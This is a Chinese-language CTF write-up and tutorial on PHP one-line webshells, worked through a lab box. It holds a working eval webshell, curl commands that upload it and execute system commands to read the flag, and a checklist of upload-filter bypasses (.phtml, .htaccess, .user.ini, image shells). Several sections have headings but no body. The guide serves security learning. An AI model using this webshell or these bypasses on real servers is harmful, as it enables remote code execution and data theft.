一句话木马完全指南 —— 以「作业管理系统」靶场为样本

注：靶场为平台临时实例，做题后会失效。复现请换自己的实例地址。

一、本题完整链路（先看它长什么样）

1.1 入口：一条注释送进来

访问首页，HTML 最底部：

<!--默认账户admin admin-->

admin / admin 登录成功。顺带一个细节：登录后 Cookie 是

user=admin;  pass=21232f297a57a5a743894a0e4a801fc3

21232f297a57a5a743894a0e4a801fc3 = md5("admin")。这套系统认证完全靠 Cookie 里的用户名和密码哈希，不校验会话——意味着即使不知道密码，只要 pass 字段能对上哈希，或者干脆构造 user=admin 都可能进后台。这是另一条备用路线。

1.2 后台：功能清单暴露攻击面

注意：这道题真正的洞在第 2 项，但第 4、5、6 项都是出题人放的干扰项/备选路线，这在 CTF 里很常见——功能多的后台，往往只有一个是真的能用。

1.3 打通：上传一句话

「上传文件」页面的表单：

<FORM ENCTYPE='multipart/form-data' ACTION='/index.php?op=upload' METHOD='POST'>
  <input type='File' name='upfile[]' multiple>
  <input type='text' name='ndir' value='./'>

注意 <input type='File' ...> 后面没有任何 accept 过滤，页面上也没写"仅允许图片"。这种页面九成没做后端校验。

直接传：

# 本地写一句话
printf '<?php @eval($_POST["ant"]); ?>' > _antsword.php

# 上传
curl -b cookies.txt "http://node4.anna.nssnode.cn:26727/index.php?op=upload" \
     -F "upfile[]=@_antsword.php" -F "ndir=./"

响应：

文件 ./_antsword.php 上传成功

验证（这一步非常关键，上传成功 ≠ 能执行）：

curl "http://node4.anna.nssnode.cn:26727/_antsword.php" -d 'ant=echo "A"."B";'
# 返回: AB

AB 出来，说明 .php 被当作 PHP 解析、eval 正常执行，RCE 成立。

1.4 拿 flag

curl "http://node4.anna.nssnode.cn:26727/_antsword.php" -d 'ant=system("ls /;cat /flag");'

/flag
flag=NSSCTF{8fa70c11-8708-4685-accb-d4a8a655b99f}

二、一句话木马到底是什么

2.1 一行代码，三个角色

<?php @eval($_POST["ant"]); ?>

它本身不干活，只是一个代码执行的入口。真正的功能（列目录、读文件、下载、数据库管理）全在客户端（蚁剑）里，客户端每次操作都现场生成一段 PHP 代码 POST 过去。

2.2 一次蚁剑点击发生了什么

蚁剑 ──POST ant=@ini_set("display_errors","0");...列目录代码...──> shell.php
                                                                  │
                                                          eval() 执行
                                                                  │
蚁剑 <──────────── 执行结果（HTML/JSON） ─────────────────────────┘

所以：

• 服务端一句话 = 门（只需要能执行任意 PHP）
• 客户端 = 工具箱（真正干活的部分）
• 换客户端（菜刀/蚁剑/冰蝎/哥斯拉）不用换 shell（编码方式对得上即可）

2.3 家族对比：一句话的几种“内脏”

本机踩过的坑：先用 system($_GET['c']) 手工打得很爽，结果蚁剑报 404/空回显——因为蚁剑默认发的是 eval 型 POST。shell 类型必须和客户端匹配，这是新手第一个坑。

三、题型：一句话木马能"落地"的所有场景

一句话木马不是漏洞，它是**“拿到了任意代码执行"之后的接管手段**。所以分类要看"你怎么把文件写进去并且让它被执行”。

3.1 按落地方式分六大类

3.2 本题属于哪一类，以及它为什么"简单"

本题是 A 类（无限制上传）+ 后台弱口令：

• 登录才看得到上传点 → 所以前置是弱口令（注释泄露）
• 上传点没有任何后缀校验 → 所以没有 B 类的绕过工作
• 服务器把 .php 当脚本解析 → 所以 C 类都不需要

三个条件全满足 = 送分题。 只要有一个不满足，难度立刻跳一档：

四、辨别：怎么判断一道题该走一句话路线

4.1 看功能，找"能产生文件"的地方

打开站点，先把所有能写文件的功能列出来：

4.2 看技术栈，判断"能不能执行"

4.3 看源码注释 / 备份文件（本题直接送分的地方）

4.4 一句话"自检"流程（拿到上传点后按顺序走）

① 直接传 .php 且访问        → 成功 → 结束（本题）
② 传 .php 被拒              → 看报错：前端/后端？黑名单/白名单？
③ 换后缀 .phtml .php5 .phar → 试解析
④ 传 .htaccess 改解析规则   → 再传图片马
⑤ 传 .user.ini 设 auto_prepend_file
⑥ 图片马 + 找文件包含点
⑦ 全都不行 → 转 LFI / 反序列化 / SQL 写文件路线

五、解决方法：从"写进去"到"连得上"

5.1 通用四步法

第③步是最容易被跳过的一步，也是最重要的——很多题上传成功但目录禁止执行 PHP（nginx location ~ \.php$ { deny all; }），这时候要么换落点，要么走文件包含。

5.2 各种拦截对应解法速查

5.3 蚁剑接管（本题实操 + 排错）

添加数据

常见报错对照表

5.4 手工验证比蚁剑更可靠的原因

蚁剑是黑盒，出错只告诉你"连接失败"。先用 curl 手打一条无害代码，能回显再上工具：

# 验证 eval 是否可用
curl "http://目标/shell.php" -d 'ant=echo "A"."B";'

# 验证命令执行是否被禁
curl "http://目标/shell.php" -d 'ant=echo shell_exec("id");'

# 验证文件读取
curl "http://目标/shell.php" -d 'ant=echo file_get_contents("/flag");'

三条都过，蚁剑必然能连。有一条不过，就知道问题在哪一层——这是排查效率最高的方式。

六、CTF 与实战的差别（别把 CTF 习惯带出去）

七、防守视角（知道怎么防，才知道怎么打）

八、总结表

一句话收束：一句话木马本身只有一行代码，真正决定成败的是**“能不能找到一个既能写入、又能被解析执行的位置”**——本题三个条件全送（弱口令进后台 + 无过滤上传 + 目录可执行），所以是入门题；而这三条里任何一条被堵上，就会演变成上传绕过、文件包含、反序列化等更硬的题型。